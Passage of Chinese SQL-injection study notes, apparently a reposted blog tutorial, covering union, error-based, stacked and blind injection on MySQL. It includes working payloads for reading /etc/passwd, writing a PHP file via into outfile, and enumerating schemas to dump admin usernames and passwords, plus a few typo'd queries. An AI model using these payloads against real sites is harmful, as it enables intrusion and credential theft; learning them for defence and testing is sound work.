sql注入学习总结(未完待续)
作者:互联网
什么是SQL注入
SQL注入(Sql Injection )
是一种将SQL语句插入或添加到应用(用户)的输入参数中的攻击
这些参数传递给后台的SQL数据库服务器加以解析并执行
哪里存在SQL注入?
GET
POST
HTTP头部注入
Cookie注入
任何客户端可控,传递到服务器的变量,并且和数据库进行交互,都有可能存在sql注入。
SQL注入的分类
根据SQL数据类型分类
联合注入
在可以联合查询的题目中,一般会将数据库查询的数据回显到首页面中,这是联合注入的前提。
适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库,因为MYSQL会有一个系统数据库information_schema, information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等
报错注入
现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了
报错注入的利用步骤和联合注入一致,只是利用函数不同。
以updatexml为例。
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
这个函数当xpath路径错误时就会报错,而且会将路径内容返回,这就能在报错内容中看到我们想要的内容。
而且以~开头的内容不是xml格式的语法,那就可以用concat函数拼接~使其报错,当然只要是不符合格式的都可以使其报错。
堆叠注入
堆叠注入就是多条语句一同执行。
原理就是mysql_multi_query() 支持多条sql语句同时执行,用;分隔,成堆的执行sql语句。
比如
select databse();select * from users;
在权限足够的情况下甚至可以对数据库进行增删改查。但是堆叠注入的限制是很大的。但是与union联合执行不同的是它可以同时执行无数条语句而且是任何sql语句。而union执行的语句是有限的。
基于时间的盲注
时间盲注用于代码存在sql注入漏洞,然而页面既不会回显数据,也不会回显错误信息
语句执行后也不提示真假,我们不能通过页面的内容来判断
所以有布尔盲注就必有时间盲注,但有时间盲注不一定有布尔盲注
时间盲注主要是利用sleep函数让网页的响应时间不同从而实现注入。
如何去判断SQL注入漏洞
and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
MySQL数据库的特性
MySQL中3种注释风格
# (url编码为%23)
– (–后边要跟上一个或多个空格 --+)
/* … */
/*! … */ 内联注释
select * /!22222from/ users;(注:22222低于数据库版本号(5[0].7.20)就可显示from)
MySQL函数利用
常用函数
user()
database()
@@version
session_user()
@@basedir
@@datadir
@@version_compile_os
load_file( )函数 读文件操作
前提
知道文件绝对路径
能够使用union查询
对web目录有写权限
UNION SELECT 1,load_file(’/etc/passwd’),3,4,5,6#
UNION SELECT 1,load_file(0x2f6574632f706173737764),3,4,5,6#
into outfile( )写文件操作
前提
文件名必须全路径(绝对路径),
用户必须有写文件的权限
没有对 ‘ 引号过滤
SELECT ‘<?php phpinfo(); ?>’ into outfile ‘c:\Windows\tmp\1.php’
连接字符串函数
concat(str1,str2)
concat_ws(separator, str1,str2…)
group_concat(str1,str2…)
MySQL中information_scheme库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_SCHEMA, TABLE_NAME
COLUMNS表
字段:TBALE_SCHEMA,TABLE_NAME,COLUMN_NAME
MySQL中UNION规则
UNION必须由两条或两条以上的SELECT语句组成,语句之间用关键字UNION分隔
UNION中的每个查询必须包含相同的列。
UNION会从查询结果集中自动去除了重复行。
UNION query SQl injection
注入步骤
判断列数
order by 10
order by 20
order by 15
…
判断显示位
url?id=-1 union select 1,2,3,4,5
获取当数据库名称和当前连接数据库的用户
url?id=-1 union select 1,2,databaes(),4,5
url?id=-1 union select 1,2,user(),4,5
列出所有数据库
limit 一个一个打印出来库名
select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
group_concat 一次性全部显示
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
列出(数据库:test)中所有的表
limit 一个一个打印出来字段名
select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘test’
limit 0,1
group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where
TABLE_SCHEMA=0x674657374
注意:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制。
列出(数据库:test 表:admin )中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where
TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1
group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where
TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e
列出(数据库:test 表:admin )中的数据
limit 一个一个打印出来
select username,passwd from test.admin limit 0,1
group_concat 把 一次性全部打印
select group_concat(concat(username,0x20,passwd)) from test.admin
network
标签:总结,xml,NAME,数据库,未完待续,select,sql,concat,注入 来源: https://www.cnblogs.com/Rammstein-and-rock/p/16089575.html